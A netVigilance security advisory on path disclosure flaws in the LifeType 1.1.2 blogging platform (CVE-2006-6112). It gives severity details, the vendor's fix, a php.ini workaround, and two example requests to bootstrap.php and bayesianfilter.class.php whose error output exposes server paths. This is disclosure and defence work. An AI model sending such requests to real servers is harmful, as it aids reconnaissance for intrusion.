LifeType version 1.1.2 Multiple Path Disclosure Vulnerabilities
netVigilance Security Advisory #8
LifeType version 1.1.2 Multiple Path Disclosure Vulnerabilities
Description:
LifeType is a Blogging platform built with PHP, designed with maximum
customizability, speed and ease of use in mind. Due to program flaws it is
possible for the remote attacker to disclose the true path of the server-side
script.
External References:
Mitre CVE: CVE-2006-6112
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6112
NVD NIST: CVE-2006-6112 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-6112
OSVDB: 30685 30686
Summary:
LifeType is a blogging platform built with PHP, designed with maximum
customizability, speed and ease of use in mind.
A security problem in the product allows attackers to gather the true path of
the server-side script.
Release Date:
Severity:
Risk: Low
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.3
Target Distribution on Internet: Low
Exploitability: Functional Exploit
Remediation Level: Officical Fix
Report Confidence: Confirmed
Vulnerability Impact: Attack
Host Impact: Path disclosure.
SecureScout Testcase ID:
TC 17938
Vulnerable Systems:
Lifetype version 1.1.2
Vulnerability Type:
Program flaw ? The bayesianfilter.class.php and bootstrap.php scripts has flaws
which lead to a Warning or even Fatal Errors.
Vendor Status:
The Vendor has been notified. LifeType has released an immediate patch, Soon to
be released version 1.1.3 and above solves the problem.
Also see vendors release here :
http://www.lifetype.net/blog.php/lifetype-development-journal/2006/11/30/full_path_disclosure_vulnerability_in_lifetype_1.0.x_and_1.1.x
To download latest version goto
http://www.lifetype.net/blog.php/lifetype-development-journal/page/downloads
Workaround:
Disable warning messages: modify in the php.ini file following line:
display_errors = Off.
Or modify .htaccess file (this will work only for the apache servers).
Example:
HTTP REQUEST http://[TARGET]/[lifetype-directory]/class/bootstrap.php
REPLY
...
<!--error--><br />
<b>Notice</b>: Use of undefined constant PLOG_CLASS_PATH - assumed
'PLOG_CLASS_PATH' in <b>[FULL PATH TO FILE]bootstrap.php</b> on line
<b>24</b><br />
<br />
<b>Warning</b>: main(PLOG_CLASS_PATHclass/object/exception.class.php): failed
to open stream: No such file or directory in <b>[FULL PATH TO
FILE]bootstrap.php</b> on line <b>24</b><br />
<!--error--><br />
<b>Warning</b>: main(): Failed opening
'PLOG_CLASS_PATHclass/object/exception.class.php' for inclusion
(include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO
FILE]bootstrap.php</b> on line <b>24</b><br />
<br />
<b>Notice</b>: Use of undefined constant PLOG_CLASS_PATH - assumed
'PLOG_CLASS_PATH' in <b[FULL PATH TO FILE]bootstrap.php</b> on line
<b>27</b><br />
<br />
<b>Warning</b>: main(PLOG_CLASS_PATHclass/misc/info.class.php): failed to open
stream: No such file or directory in <b>[FULL PATH TO FILE]bootstrap.php</b> on
line <b>27</b><br />
<br />
<b>Warning</b>: main(): Failed opening
'PLOG_CLASS_PATHclass/misc/info.class.php' for inclusion
(include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO
FILE]bootstrap.php</b> on line <b>27</b><br />
...
OR
HTTP REQUEST
http://[TARGET]/[lifetype-directory]/class/security/bayesianfilter.class.php
REPLY
...
REPLY
<!--error--><br />
<b>Notice</b>: Use of undefined constant PLOG_CLASS_PATH - assumed
'PLOG_CLASS_PATH' in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line
<b>3</b><br />
<br />
<b>Warning</b>: main(PLOG_CLASS_PATHclass/security/pipelinefilter.class.php):
failed to open stream: No such file or directory in <b>[FULL PATH TO
FILE]bayesianfilter.class.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>: main(): Failed opening
'PLOG_CLASS_PATHclass/security/pipelinefilter.class.php' for inclusion
(include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO
FILE]bayesianfilter.class.php</b> on line <b>3</b><br />
<br />
<b>Notice</b>: Use of undefined constant PLOG_CLASS_PATH - assumed
'PLOG_CLASS_PATH' in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line
<b>4</b><br />
<br />
<b>Warning</b>: main(PLOG_CLASS_PATHclass/net/client.class.php): failed to
open stream: No such file or directory in <b>[FULL PATH TO
FILE]bayesianfilter.class.php</b> on line <b>4</b><br />
<br />
<b>Warning</b>: main(): Failed opening
'PLOG_CLASS_PATHclass/net/client.class.php' for inclusion
(include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO
FILE]bayesianfilter.class.php</b> on line <b>4</b><br />
<br />
<b>Fatal error</b>: Class bayesianfilter: Cannot inherit from undefined class
pipelinefilter in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line
<b>29</b><br />
...
URL of Original Advisory: http://www.netvigilance.com/advisory0008
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com